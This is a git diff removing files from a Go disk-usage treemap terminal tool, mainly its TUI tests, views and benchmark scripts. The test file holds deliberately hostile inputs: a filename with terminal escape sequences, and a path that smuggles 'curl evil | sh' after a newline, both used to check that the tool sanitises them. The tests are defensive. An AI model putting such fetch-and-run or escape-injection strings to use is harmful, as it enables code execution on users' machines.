t.HeaderBg} } -func (t *Theme) status() Style { return Style{FG: t.StatusFg, BG: t.StatusBg} } -func (t *Theme) panel() Style { return Style{FG: t.Fg, BG: t.PanelBg} } - -func (t *Theme) box() BoxChars { - if t.ASCII { - return BoxASCII - } - return BoxLight -} - -func (t *Theme) selBox() BoxChars { - if t.ASCII { - return BoxASCIISel - } - return BoxDouble -} - -// textOn picks a readable text colour for a background. -func (t *Theme) textOn(bg Color) Color { - if bg == 0 { - return t.Fg - } - if bg.Luma() > 0.55 { - return RGB(0x10, 0x12, 0x16) - } - return RGB(0xf2, 0xf4, 0xf7) -} diff --git a/internal/tui/tui_test.go b/internal/tui/tui_test.go deleted file mode 100644 index 218a8a9..0000000 --- a/internal/tui/tui_test.go +++ /dev/null @@ -1,499 +0,0 @@ -package tui - -import ( - "context" - "fmt" - "math/rand" - "strings" - "testing" - - tea "charm.land/bubbletea/v2" - "github.com/charmbracelet/colorprofile" - "github.com/charmbracelet/x/ansi" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" - "github.com/andydixon/mapsize/internal/treemap" -) - -const hostile = "evil\x1b]0;pwned\x07\x1b[2J.iso" - -func testTree() *inventory.Tree { - t := inventory.New("/srv", inventory.KindDir) - add := func(p inventory.NodeID, name string, size int64) inventory.NodeID { - id := t.Add(p, name, inventory.KindFile) - n := t.Node(id) - n.Size, n.Alloc = size, size - n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false) - n.MTime = 1_700_000_000_000_000_000 - return id - } - dir := func(p inventory.NodeID, name string) inventory.NodeID { - id := t.Add(p, name, inventory.KindDir) - t.Node(id).Flags |= inventory.FlagScanned - return id - } - backups := dir(0, "backups") - for i := range 40 { - add(backups, fmt.Sprintf("dump-%02d.tar.gz", i), int64(1+i)<<30) - } - vms := dir(0, "vms") - add(vms, "ubuntu.qcow2", 86<<30) - add(vms, "win.vmdk", 40<<30) - media := dir(0, "media") - photos := dir(media, "photos 日本語") - for i := range 300 { - add(photos, fmt.Sprintf("img%03d.jpg", i), int64(i+1)<<20) - } - add(media, hostile, 9<<30) - add(media, "👨‍👩‍👧 family.mp4", 12<<30) - tiny := dir(0, "tiny") - for i := range 2000 { - add(tiny, fmt.Sprintf("f%d", i), 100) - } - add(0, "README", 10) - t.Recompute() - t.Stats.Complete = true - return t -} - -func newTestModel(t *testing.T) *Model { - t.Helper() - tr := testTree() - m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, - nil, tr, func() {}) - m.profile = colorprofile.TrueColor - return m -} - -func send(m *Model, msgs ...tea.Msg) { - for _, msg := range msgs { - m.Update(msg) - } -} - -func key(s string) tea.KeyPressMsg { - switch s { - case "up": - return tea.KeyPressMsg{Code: tea.KeyUp} - case "down": - return tea.KeyPressMsg{Code: tea.KeyDown} - case "left": - return tea.KeyPressMsg{Code: tea.KeyLeft} - case "right": - return tea.KeyPressMsg{Code: tea.KeyRight} - case "enter": - return tea.KeyPressMsg{Code: tea.KeyEnter} - case "esc": - return tea.KeyPressMsg{Code: tea.KeyEscape} - case "space": - return tea.KeyPressMsg{Code: tea.KeySpace, Text: " "} - case "backspace": - return tea.KeyPressMsg{Code: tea.KeyBackspace} - case "home": - return tea.KeyPressMsg{Code: tea.KeyHome} - case "tab": - return tea.KeyPressMsg{Code: tea.KeyTab} - } - r := []rune(s)[0] - return tea.KeyPressMsg{Code: r, Text: s} -} - -func size(w, h int) tea.WindowSizeMsg { return tea.WindowSizeMsg{Width: w, Height: h} } - -// checkFrame verifies the rendered frame exactly fills w×h cells and that no -// filename control sequence leaked through. -func checkFrame(t *testing.T, m *Model, w, h int) string { - t.Helper() - content := m.View().Content - if strings.Contains(content, "\x1b]") || strings.Contains(content, "\x07") || strings.Contains(content, "\x1b[2J") { - t.Fatalf("terminal control sequence from a filename leaked into the frame") - } - lines := strings.Split(content, "\n") - if len(lines) != h { - t.Fatalf("%dx%d: frame has %d lines", w, h, len(lines)) - } - for i, l := range lines { - if got := ansi.StringWidth(l); got != w { - t.Fatalf("%dx%d: line %d has width %d: %q", w, h, i, got, ansi.Strip(l)) - } - } - return ansi.Strip(content) -} - -func TestResizeTransitionsPreserveState(t *testing.T) { - m := newTestModel(t) - send(m, size(120, 40)) - checkFrame(t, m, 120, 40) - // Zoom into media and select something that is not the default. - m.tree.RLock() - media := m.kidsOf(0) - m.tree.RUnlock() - var mediaID inventory.NodeID - for _, id := range media.ids { - if m.tree.Node(id).Name == "media" { - mediaID = id - } - } - m.sel, m.userSel = int64(mediaID), true - send(m, key("space")) - if m.zoom != mediaID { - t.Fatalf("zoom = %d want media %d", m.zoom, mediaID) - } - checkFrame(t, m, 120, 40) - send(m, key("right")) - sel := m.sel - for _, sz := range [][2]int{{80, 24}, {120, 40}, {300, 80}, {70, 20}, {180, 50}, {40, 10}, {39, 9}, {200, 60}} { - send(m, size(sz[0], sz[1])) - checkFrame(t, m, sz[0], sz[1]) - if m.zoom != mediaID { - t.Fatalf("%v: zoom lost", sz) - } - if m.sel != sel && !isGroup(m.sel) { - t.Fatalf("%v: selection changed from %d to %d", sz, sel, m.sel) - } - } - // The layout must be recomputed for the new geometry, not stretched. - if m.tm == nil || m.tm.rect.W > 200 || m.tm.rect.H > 60 { - t.Fatalf("layout not recomputed for final size: %+v", m.tm.rect) - } - for _, b := range m.tm.blocks { - r := m.tm.rect - if b.X < r.X || b.Y < r.Y || b.X+b.W > r.X+r.W || b.Y+b.H > r.Y+r.H { - t.Fatalf("block %+v outside treemap %+v", b, r) - } - } -} - -func TestResizeStorm(t *testing.T) { - m := newTestModel(t) - r := rand.New(rand.NewSource(1)) - send(m, size(120, 40)) - m.View() - send(m, key("right"), key("down")) - sel := m.sel - for i := 0; i < 300; i++ { - send(m, size(20+r.Intn(300), 5+r.Intn(90))) - if i%7 == 0 { - m.View() // renders interleave with resizes like the real event loop - } - } - send(m, size(150, 45)) - checkFrame(t, m, 150, 45) - if m.sel != sel { - t.Fatalf("selection lost in resize storm") - } -} - -func TestModalSurvivesResize(t *testing.T) { - m := newTestModel(t) - send(m, size(120, 40), key("enter")) - if len(m.modals) != 1 { - t.Fatal("Enter should open the info modal") - } - for _, sz := range [][2]int{{120, 40}, {60, 14}, {41, 10}, {300, 80}, {45, 12}} { - send(m, size(sz[0], sz[1])) - out := checkFrame(t, m, sz[0], sz[1]) - if !strings.Contains(out, "ITEM INFORMATION") { - t.Fatalf("%v: modal title missing:\n%s", sz, out) - } - f := m.modals[0].(*modalFrame) - if f.viewH < 1 || f.viewH > sz[1] { - t.Fatalf("%v: modal viewport %d", sz, f.viewH) - } - } - // Scrolling in a tiny terminal must stay in range. - send(m, size(45, 12)) - for range 100 { - send(m, key("down")) - } - checkFrame(t, m, 45, 12) - f := m.modals[0].(*modalFrame) - if f.scroll < 0 || f.scroll > f.contentN { - t.Fatalf("scroll out of range: %d of %d", f.scroll, f.contentN) - } - send(m, key("esc")) - if len(m.modals) != 0 { - t.Fatal("Esc should close the modal") - } -} - -func TestSpatialNavigationUsesGeometry(t *testing.T) { - m := newTestModel(t) - send(m, size(160, 45)) - m.View() - blocks := m.tm.blocks - for _, dir := range []string{"right", "down", "left", "up"} { - before := m.sel - send(m, key(dir)) - m.View() - if m.sel == before { - continue // edge of the map - } - var a, b = findBlock(blocks, before), findBlock(blocks, m.sel) - switch dir { - case "right": - if b.X < a.X+a.W { - t.Fatalf("right moved to a block that is not to the right: %+v -> %+v", a, b) - } - case "left": - if b.X+b.W > a.X { - t.Fatalf("left moved wrongly: %+v -> %+v", a, b) - } - case "down": - if b.Y < a.Y+a.H { - t.Fatalf("down moved wrongly: %+v -> %+v", a, b) - } - case "up": - if b.Y+b.H > a.Y { - t.Fatalf("up moved wrongly: %+v -> %+v", a, b) - } - } - } -} - -func findBlock(bs []treemap.Block, id int64) treemap.Block { - for _, b := range bs { - if b.ID == id { - return b - } - } - return treemap.Block{} -} - -func TestZoomBreadcrumbsAndHome(t *testing.T) { - m := newTestModel(t) - send(m, size(100, 30)) - m.tree.RLock() - var media, photos inventory.NodeID - m.tree.Walk(0, func(id inventory.NodeID, n *inventory.Node) bool { - switch n.Name { - case "media": - media = id - case "photos 日本語": - photos = id - } - return true - }) - m.tree.RUnlock() - m.sel, m.userSel = int64(media), true - send(m, key("space")) - m.sel = int64(photos) - send(m, key("space")) - if m.zoom != photos { - t.Fatal("did not zoom into photos") - } - out := checkFrame(t, m, 100, 30) - if !strings.Contains(out, "media › photos 日本語") { - t.Fatalf("breadcrumbs missing:\n%s", out) - } - // Narrow terminal: breadcrumbs truncate from the left, keeping the tail. - send(m, size(42, 12)) - out = checkFrame(t, m, 42, 12) - if !strings.Contains(out, "photos") { - t.Fatalf("breadcrumb tail missing:\n%s", out) - } - send(m, key("backspace")) - if m.zoom != media || m.sel != int64(photos) { - t.Fatalf("backspace: zoom %d sel %d", m.zoom, m.sel) - } - send(m, key("home")) - if m.zoom != 0 { - t.Fatal("home did not return to root") - } -} - -func TestFilterTransformsMap(t *testing.T) { - m := newTestModel(t) - send(m, size(120, 40), key("/")) - for _, r := range "ext = gz" { - send(m, tea.KeyPressMsg{Code: r, Text: string(r)}) - } - if m.search.err != "" || m.search.query == nil { - t.Fatalf("query not parsed: %q", m.search.err) - } - msg := m.applyFilter()() - send(m, msg, key("enter")) - if m.search.result == nil { - t.Fatal("no filter result") - } - out := checkFrame(t, m, 120, 40) - if strings.Contains(out, "vms/") || !strings.Contains(out, "backups/") { - t.Fatalf("filter not applied to the map:\n%s", out) - } - if !strings.Contains(out, "FILTER") { - t.Fatal("filter indicator missing") - } - send(m, key("esc")) - if m.search.query != nil || m.search.result != nil { - t.Fatal("Esc should clear the filter") - } - out = checkFrame(t, m, 120, 40) - if !strings.Contains(out, "vms/") { - t.Fatalf("map not restored after clearing filter:\n%s", out) - } -} - -func TestHostileNameSanitisedInModal(t *testing.T) { - m := newTestModel(t) - send(m, size(120, 40)) - var id inventory.NodeID - m.tree.Walk(0, func(i inventory.NodeID, n *inventory.Node) bool { - if n.Name == hostile { - id = i - } - return true - }) - m.openModal(newInfoModal(m, id)) - out := checkFrame(t, m, 120, 40) - if !strings.Contains(out, `\x1b]0;pwned\x07`) { - t.Fatalf("escaped name not shown:\n%s", out) - } -} - -func TestViewsRenderAtManySizes(t *testing.T) { - m := newTestModel(t) - for range m.views { - for _, sz := range [][2]int{{40, 10}, {80, 24}, {150, 45}, {91, 22}} { - send(m, size(sz[0], sz[1])) - checkFrame(t, m, sz[0], sz[1]) - send(m, key("down"), key("down")) - checkFrame(t, m, sz[0], sz[1]) - } - send(m, key("tab")) - } - send(m, key("?")) - send(m, size(60, 15)) - checkFrame(t, m, 60, 15) -} - -func TestLevelOfDetailGroupsTinyFiles(t *testing.T) { - m := newTestModel(t) - send(m, size(100, 30)) - m.tree.RLock() - var tiny inventory.NodeID - m.tree.Children(0, func(id inventory.NodeID, n *inventory.Node) { - if n.Name == "tiny" { - tiny = id - } - }) - m.tree.RUnlock() - m.zoomTo(tiny) - m.View() - if len(m.tm.blocks) > 100*30/topMinArea+1 { - t.Fatalf("%d blocks for 2000 equal files: LOD not applied", len(m.tm.blocks)) - } - if _, ok := m.tm.groups[groupID(tiny)]; !ok { - t.Fatal("expected a group block for small items") - } -} - -func TestCtrlCQuitsWhenIdle(t *testing.T) { - m := newTestModel(t) - send(m, size(80, 24)) - _, cmd := m.Update(tea.KeyPressMsg{Code: 'c', Mod: tea.ModCtrl}) - if cmd == nil || !m.quit { - t.Fatal("Ctrl+C should quit when no scan runs") - } -} - -func BenchmarkRenderFrame(b *testing.B) { - tr := testTree() - m := newModel(Options{}, nil, tr, func() {}) - m.profile = colorprofile.TrueColor - send(m, size(200, 60)) - for b.Loop() { - m.dirty = true - m.View() - } -} - -func BenchmarkResizeRelayout(b *testing.B) { - tr := testTree() - m := newModel(Options{}, nil, tr, func() {}) - i := 0 - for b.Loop() { - send(m, size(100+i%100, 30+i%30)) - m.View() - i++ - } -} - -func TestMouse(t *testing.T) { - m := newTestModel(t) - send(m, size(120, 40)) - m.View() - // Click the centre of a block other than the selected one. - var target treemap.Block - for _, b := range m.tm.blocks { - if b.ID != m.sel && b.ID >= 0 && m.tree.Node(inventory.NodeID(b.ID)).IsDir() && b.W > 4 { - target = b - break - } - } - click := tea.MouseClickMsg{X: target.X + target.W/2, Y: target.Y + target.H/2, Button: tea.MouseLeft} - send(m, click) - if m.sel != target.ID { - t.Fatalf("click selected %d, want %d", m.sel, target.ID) - } - m.View() - send(m, click) // second click within the double-click window - if m.zoom != inventory.NodeID(target.ID) { - t.Fatalf("double click should zoom into %d (zoom=%d)", target.ID, m.zoom) - } - m.View() - send(m, tea.MouseWheelMsg{X: 50, Y: 20, Button: tea.MouseWheelDown}) - if m.zoom != 0 { - t.Fatal("wheel down should zoom out") - } - // A modal swallows clicks; clicking outside closes it. - send(m, key("?")) - m.View() - send(m, tea.MouseClickMsg{X: 0, Y: 39, Button: tea.MouseLeft}) - if len(m.modals) != 0 { - t.Fatal("click outside modal should close it") - } -} - -func TestQuantizers(t *testing.T) { - if quant16(RGB(10, 12, 8)) != 0 { - t.Fatal("near-black should map to black") - } - if n := quant16(RGB(0xe0, 0x6c, 0x75)); n != 1 && n != 9 { - t.Fatalf("red-ish mapped to %d", n) - } - if n := quant256(RGB(40, 48, 30)); n < 16 { - t.Fatalf("256 quantizer used palette-dependent index %d", n) - } - // A dark, slightly tinted shade must land on the grey ramp or a dark - // cube entry, not a saturated one like olive (58) or navy (17). - if n := quant256(RGB(40, 48, 30)); n == 58 || n == 17 || n == 22 { - t.Fatalf("dark tint mapped to saturated %d", n) - } -} - -func TestColourDepthsRenderSameGeometry(t *testing.T) { - for _, p := range []colorprofile.Profile{colorprofile.TrueColor, colorprofile.ANSI256, colorprofile.ANSI, colorprofile.ASCII} { - m := newTestModel(t) - m.profile = p - send(m, size(100, 30)) - checkFrame(t, m, 100, 30) - } -} - -// A filename with a newline would run commands when pasted into a shell. -func TestCopyRefusesControlCharacters(t *testing.T) { - m := newTestModel(t) - m.copyPath("/srv/x\ncurl evil | sh\n") - if !strings.HasPrefix(m.toast, "Not copied") { - t.Fatalf("hostile path copied: %q", m.toast) - } - m.copyPath("/srv/media/" + hostile) - if !strings.HasPrefix(m.toast, "Not copied") { - t.Fatalf("escape sequence copied: %q", m.toast) - } - m.copyPath("/srv/photos 日本語/img001.jpg") - if !strings.HasPrefix(m.toast, "Copied") { - t.Fatalf("plain path refused: %q", m.toast) - } -} diff --git a/internal/tui/views.go b/internal/tui/views.go deleted file mode 100644 index c97c478..0000000 --- a/internal/tui/views.go +++ /dev/null @@ -1,457 +0,0 @@ -package tui - -import ( - "fmt" - "sort" - "time" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/snapshot" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// ---- Directory list ------------------------------------------------------- - -type listView struct { - tb table - lastSel int64 -} - -func (*listView) name() string { return "List" } - -// sync reconciles the table cursor with the shared selection: if the -// selection changed elsewhere (treemap, jump) the cursor follows it; -// otherwise the cursor (moved by keys or clicks) drives the selection. -func (v *listView) sync(m *Model) { - k := m.kidsOf(m.zoom) - if m.sel != v.lastSel { - for i, id := range k.ids { - if int64(id) == m.sel { - v.tb.cursor = i - } - } - } else if v.tb.cursor < len(k.ids) { - m.sel = int64(k.ids[v.tb.cursor]) - } - v.lastSel = m.sel -} - -func (v *listView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - k := m.kidsOf(m.zoom) - v.sync(m) - total := m.sizeOf(m.zoom) - rows := make([]tableRow, len(k.ids)) - for i, id := range k.ids { - n := m.tree.Node(id) - name := textutil.Sanitize(n.Name) - files := "" - if n.IsDir() { - name += "/" - files = textutil.Count(int64(n.Files)) - } - mod := "" - if n.MTime > 0 { - mod = time.Unix(0, n.MTime).Format("2006-01-02") - } - col := m.colorOf(int64(id)) - nameSt := &Style{FG: col.Mix(t.Fg, 0.45), BG: t.Bg} - if n.IsDir() { - nameSt.Attr = Bold - } - frac := 0.0 - if k.sizes[0] > 0 { - frac = float64(k.sizes[i]) / float64(k.sizes[0]) - } - rows[i] = tableRow{ - cells: []string{textutil.Size(k.sizes[i]), textutil.Percent(k.sizes[i], total), "", files, mod, name}, - styles: []*Style{nil, {FG: t.Muted, BG: t.Bg}, nil, {FG: t.Muted, BG: t.Bg}, {FG: t.Muted, BG: t.Bg}, nameSt}, - bar: frac, barCol: col, - } - if m.opts.Diff != nil { - rows[i].cells[4] = textutil.SignedSize(m.opts.Diff.Delta(id, m.sizeMode)) - } - } - cols := []column{{"SIZE", 10, true, false}, {"%", 5, true, false}, {"", 12, false, false}, {"FILES", 10, true, false}, {"MODIFIED", 10, false, false}, {"NAME", 0, false, false}} - if m.opts.Diff != nil { - cols[4] = column{"CHANGE", 12, true, false} - } - if r.W < 70 { - cols = []column{{"SIZE", 10, true, false}, {"%", 5, true, false}, {"NAME", 0, false, false}} - for i := range rows { - rows[i].cells = []string{rows[i].cells[0], rows[i].cells[1], rows[i].cells[5]} - rows[i].styles = []*Style{nil, rows[i].styles[1], rows[i].styles[5]} - } - } - v.tb.paint(m, cv, r, cols, rows, "") - v.sync(m) -} - -func (v *listView) key(m *Model, k string) (bool, tea.Cmd) { - v.sync(m) - defer v.sync(m) - return v.tb.key(k, len(m.kidsOf(m.zoom).ids)), nil -} - -func (v *listView) wheel(m *Model, up bool) tea.Cmd { - v.sync(m) - v.tb.scroll(up, len(m.kidsOf(m.zoom).ids)) - v.sync(m) - return nil -} - -// ---- Extension statistics ------------------------------------------------ - -type extView struct { - tb table - cache []inventory.ExtStat - cacheKey [2]int -} - -func (*extView) name() string { return "Types" } - -func (v *extView) stats(m *Model) []inventory.ExtStat { - k := [2]int{int(m.zoom), m.dataVer*2 + int(m.sizeMode)} - if v.cache == nil || v.cacheKey != k { - v.cache = m.tree.ExtStats(m.zoom) - sort.Slice(v.cache, func(i, j int) bool { - a, b := v.cache[i], v.cache[j] - as, bs := a.Alloc, b.Alloc - if m.sizeMode == inventory.SizeLogical { - as, bs = a.Size, b.Size - } - if as != bs { - return as > bs - } - return a.Ext < b.Ext - }) - v.cacheKey = k - } - return v.cache -} - -func (v *extView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - st := v.stats(m) - var total int64 - for _, s := range st { - total += pick(m, s) - } - rows := make([]tableRow, len(st)) - for i, s := range st { - ext := "." + s.Ext - if s.Ext == "" { - ext = "(none)" - } - col := t.Cat[s.Cat] - if c, ok := t.Ext[s.Ext]; ok { - col = c - } - frac := 0.0 - if v0 := pick(m, st[0]); v0 > 0 { - frac = float64(pick(m, s)) / float64(v0) - } - rows[i] = tableRow{ - cells: []string{textutil.Sanitize(ext), s.Cat.String(), textutil.Count(s.Count), textutil.Size(pick(m, s)), textutil.Percent(pick(m, s), total), ""}, - styles: []*Style{{FG: col, BG: t.Bg, Attr: Bold}, {FG: t.Muted, BG: t.Bg}, nil, nil, {FG: t.Muted, BG: t.Bg}, nil}, - bar: frac, barCol: col, - } - } - cols := []column{{"EXTENSION", 14, false, false}, {"CATEGORY", 12, false, false}, {"FILES", 11, true, false}, {"SIZE", 10, true, false}, {"%", 5, true, false}, {"", 0, false, false}} - v.tb.paint(m, cv, r, cols, rows, fmt.Sprintf("File types under %s — Enter filters the map by extension", textutil.Sanitize(m.tree.Node(m.zoom).Name))) -} - -func pick(m *Model, s inventory.ExtStat) int64 { - if m.sizeMode == inventory.SizeLogical { - return s.Size - } - return s.Alloc -} - -func (v *extView) key(m *Model, k string) (bool, tea.Cmd) { - st := v.stats(m) - if v.tb.key(k, len(st)) { - return true, nil - } - if (k == "enter" || k == "space") && v.tb.cursor < len(st) { - e := st[v.tb.cursor].Ext - q := "ext = \"" + e + "\"" - if e == "" { - q = "type = file AND ext = \"\"" - } - m.setViewByName("Map") - return true, m.setFilter(q) - } - return false, nil -} - -func (v *extView) wheel(m *Model, up bool) tea.Cmd { - v.tb.scroll(up, len(v.stats(m))) - return nil -} - -// ---- Top-N investigation views -------------------------------------------- - -type topMode int - -const ( - topFiles topMode = iota - topDirs - topOld - topNew - topCount - topSparse - topHardlinks - numTopModes -) - -var topNames = [...]string{"Largest files", "Largest directories (own files)", "Oldest large files", - "Newest large files", "Most files", "Sparse files", "Hard-linked files"} - -type topView struct { - tb table - mode topMode - ids []inventory.NodeID - vals []int64 - cacheKey [3]int - limit int -} - -func (*topView) name() string { return "Top" } - -const topLimit = 500 - -func (v *topView) compute(m *Model) { - k := [3]int{int(m.zoom), m.dataVer*2 + int(m.sizeMode), int(v.mode)} - if v.ids != nil && v.cacheKey == k { - return - } - v.cacheKey = k - tr := m.tree - isFile := func(n *inventory.Node) bool { - return n.Kind == inventory.KindFile && n.Flags&(inventory.FlagHardlinkDup|inventory.FlagDeleted) == 0 - } - matches := func(id inventory.NodeID) bool { - return m.search.result == nil || m.search.result.Size(id) > 0 - } - tk := inventory.NewTopK(topLimit) - val := map[inventory.NodeID]int64{} - const largeFile = 1 << 20 - switch v.mode { - case topDirs: - own := map[inventory.NodeID]int64{} - tr.Walk(m.zoom, func(id inventory.NodeID, n *inventory.Node) bool { - if isFile(n) && matches(id) { - own[n.Parent] += n.Own(m.sizeMode) - } - return true - }) - for id, s := range own { - tk.Offer(id, s) - val[id] = s - } - case topCount: - tr.Walk(m.zoom, func(id inventory.NodeID, n *inventory.Node) bool { - if n.IsDir() && matches(id) { - c := int64(tr.ChildCount(id)) - tk.Offer(id, c) - val[id] = c - } - return true - }) - default: - tr.Walk(m.zoom, func(id inventory.NodeID, n *inventory.Node) bool { - if !isFile(n) || !matches(id) { - return true - } - sz := n.Own(m.sizeMode) - switch v.mode { - case topFiles: - tk.Offer(id, sz) - val[id] = sz - case topOld, topNew: - if sz >= largeFile && n.MTime > 0 { - key := n.MTime - if v.mode == topOld { - key = -key - } - tk.Offer(id, key) - val[id] = sz - } - case topSparse: - if n.Flags&inventory.FlagSparse != 0 { - tk.Offer(id, n.Size-n.Alloc) - val[id] = n.Size - n.Alloc - } - case topHardlinks: - if n.Flags&inventory.FlagHardlinked != 0 { - tk.Offer(id, n.Size) - val[id] = n.Size - } - } - return true - }) - } - v.ids = tk.Sorted() - v.vals = v.vals[:0] - for _, id := range v.ids { - v.vals = append(v.vals, val[id]) - } -} - -func (v *topView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - v.compute(m) - rows := make([]tableRow, len(v.ids)) - var first int64 - if len(v.vals) > 0 { - first = v.vals[0] - } - for i, id := range v.ids { - n := m.tree.Node(id) - val := textutil.Size(v.vals[i]) - if v.mode == topCount { - val = textutil.Count(v.vals[i]) - } - mod := "" - if n.MTime > 0 { - mod = time.Unix(0, n.MTime).Format("2006-01-02") - } - frac := 0.0 - if first > 0 && v.mode != topOld && v.mode != topNew { - frac = float64(v.vals[i]) / float64(first) - } - col := m.colorOf(int64(id)) - rows[i] = tableRow{ - cells: []string{val, mod, "", textutil.Sanitize(m.tree.Path(id))}, - styles: []*Style{nil, {FG: t.Muted, BG: t.Bg}, nil, {FG: col.Mix(t.Fg, 0.45), BG: t.Bg}}, - bar: frac, barCol: col, - } - } - title := fmt.Sprintf("◂ %s ▸ (←/→ change list · Enter details · Space jump to it)", topNames[v.mode]) - if m.search.result != nil { - title += " · filtered" - } - valTitle := "SIZE" - switch v.mode { - case topCount: - valTitle = "ENTRIES" - case topSparse: - valTitle = "SAVED" - } - cols := []column{{valTitle, 10, true, false}, {"MODIFIED", 10, false, false}, {"", 10, false, false}, {"PATH", 0, false, true}} - v.tb.paint(m, cv, r, cols, rows, title) -} - -func (v *topView) key(m *Model, k string) (bool, tea.Cmd) { - v.compute(m) - switch k { - case "left", "h": - v.mode = (v.mode + numTopModes - 1) % numTopModes - v.tb.cursor = 0 - return true, nil - case "right", "l": - v.mode = (v.mode + 1) % numTopModes - v.tb.cursor = 0 - return true, nil - } - if v.tb.key(k, len(v.ids)) { - return true, nil - } - if v.tb.cursor < len(v.ids) { - id := v.ids[v.tb.cursor] - switch k { - case "enter": - m.openModal(newInfoModal(m, id)) - return true, nil - case "space": - m.jumpTo(id) - return true, nil - case "c", "o", "d": - m.sel = int64(id) - } - } - return false, nil -} - -func (v *topView) wheel(m *Model, up bool) tea.Cmd { - v.tb.scroll(up, len(v.ids)) - return nil -} - -// ---- Snapshot comparison ----------------------------------------------------- - -type changesView struct { - tb table - rows []snapshot.Change - cacheKey int -} - -func (*changesView) name() string { return "Changes" } - -func (v *changesView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - d := m.opts.Diff - if v.rows == nil || v.cacheKey != int(m.sizeMode) { - v.rows = d.Changes(1000, m.sizeMode) - v.cacheKey = int(m.sizeMode) - } - var maxAbs int64 = 1 - for _, c := range v.rows { - maxAbs = max(maxAbs, abs64(c.Delta)) - } - rows := make([]tableRow, len(v.rows)) - for i, c := range v.rows { - col := map[snapshot.Status]Color{snapshot.Added: t.DiffNew, snapshot.Removed: t.Muted, - snapshot.Grew: t.DiffGrow, snapshot.Shrank: t.DiffShrink}[c.Status] - rows[i] = tableRow{ - cells: []string{textutil.SignedSize(c.Delta), c.Status.String(), textutil.Size(c.Old), textutil.Size(c.New), "", textutil.Sanitize(c.Path)}, - styles: []*Style{{FG: col, BG: t.Bg, Attr: Bold}, {FG: col, BG: t.Bg}, {FG: t.Muted, BG: t.Bg}, nil, nil, nil}, - bar: float64(abs64(c.Delta)) / float64(maxAbs), barCol: col, - } - } - cols := []column{{"CHANGE", 13, true, false}, {"STATUS", 9, false, false}, {"OLD", 10, true, false}, {"NEW", 10, true, false}, - {"", 10, false, false}, {"PATH", 0, false, true}} - ro, rn := d.Old.Node(0).Total(m.sizeMode), d.New.Node(0).Total(m.sizeMode) - title := fmt.Sprintf("Changes %s → %s (%s)", textutil.Size(ro), textutil.Size(rn), textutil.SignedSize(rn-ro)) - v.tb.paint(m, cv, r, cols, rows, title) -} - -func abs64(v int64) int64 { - if v < 0 { - return -v - } - return v -} - -func (v *changesView) key(m *Model, k string) (bool, tea.Cmd) { - if v.tb.key(k, len(v.rows)) { - return true, nil - } - if v.tb.cursor < len(v.rows) { - c := v.rows[v.tb.cursor] - if c.Node == inventory.NoNode { - if k == "enter" || k == "space" { - return true, m.info("Removed since the old snapshot: " + textutil.Sanitize(c.Path)) - } - return false, nil - } - switch k { - case "enter": - m.openModal(newInfoModal(m, c.Node)) - return true, nil - case "space": - m.jumpTo(c.Node) - return true, nil - } - } - return false, nil -} - -func (v *changesView) wheel(m *Model, up bool) tea.Cmd { - v.tb.scroll(up, len(v.rows)) - return nil -} diff --git a/rust/.gitignore b/rust/.gitignore deleted file mode 100644 index ea8c4bf..0000000 --- a/rust/.gitignore +++ /dev/null @@ -1 +0,0 @@ -/target diff --git a/rust/bench/compare.py b/rust/bench/compare.py deleted file mode 100755 index 967d749..0000000 --- a/rust/bench/compare.py +++ /dev/null @@ -1,49 +0,0 @@ -#!/usr/bin/env python3 -"""Times the Go and Rust mapsize binaries on the same command lines. - - rust/bench/compare.py GO_BIN RUST_BIN PATH [RUNS] - -Runs are interleaved (go, rust, go, rust, …) after one untimed warm-up each, -so both see the same page-cache state. Reports median and best wall time and -median peak RSS per scenario as a Markdown table. Linux only (/usr/bin/time). -""" -import os, statistics, subprocess, sys, tempfile - -go, rust, path = sys.argv[1:4] -runs = int(sys.argv[4]) if len(sys.argv) > 4 else 7 -tmp = tempfile.mkdtemp(prefix="mapsize-bench-") -snap = {"go": os.path.join(tmp, "go.msz"), "rust": os.path.join(tmp, "rust.msz")} -bins = {"go": go, "rust": rust} - -def timed(argv): - r = subprocess.run(["/usr/bin/time", "-f", "%e %M"] + argv, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True) - if r.returncode != 0: - sys.exit(f"failed: {' '.join(argv)}\n{r.stderr}") - secs, kb = r.stderr.strip().splitlines()[-1].split() - return float(secs), int(kb) / 1024 - -scenarios = [(f"scan, {w} workers", lambda b, w=w: [bins[b], "--no-ui", "--workers", str(w), path]) for w in (1, 8, 32)] -scenarios += [ - ("scan + save snapshot", lambda b: [bins[b], "--no-ui", "--save", snap[b], path]), - ("load own snapshot", lambda b: [bins[b], "--no-ui", snap[b]]), - ("load Go snapshot", lambda b: [bins[b], "--no-ui", snap["go"]]), - ("scan + JSON export", lambda b: [bins[b], "--json", path]), - ("scan + top 50 largest files", lambda b: [bins[b], "--largest-files", "50", path]), -] - -print(f"Path: `{path}`, {runs} interleaved runs per binary, warm cache\n") -print("| scenario | Go median | Rust median | Go best | Rust best | Go RSS | Rust RSS | speed-up |") -print("|---|---:|---:|---:|---:|---:|---:|---:|") -for name, mk in scenarios: - argv = {k: mk(k) for k in bins} - res = {k: [] for k in bins} - for k in bins: - timed(argv[k]) # warm-up (also creates the snapshot files) - for _ in range(runs): - for k in bins: - res[k].append(timed(argv[k])) - med = {k: statistics.median(t for t, _ in v) for k, v in res.items()} - best = {k: min(t for t, _ in v) for k, v in res.items()} - rss = {k: statistics.median(m for _, m in v) for k, v in res.items()} - print(f"| {name} | {med['go']:.2f} s | {med['rust']:.2f} s | {best['go']:.2f} s | {best['rust']:.2f} s " - f"| {rss['go']:.0f} MB | {rss['rust']:.0f} MB | {med['go'] / med['rust']:.2f}× |", flush=True) diff --git a/rust/bench/micro.py b/rust/bench/micro.py deleted file mode 100755 index 27f4749..0000000 --- a/rust/bench/micro.py +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env python3 -"""Runs the Go `go test -bench` suite and the Rust bench example 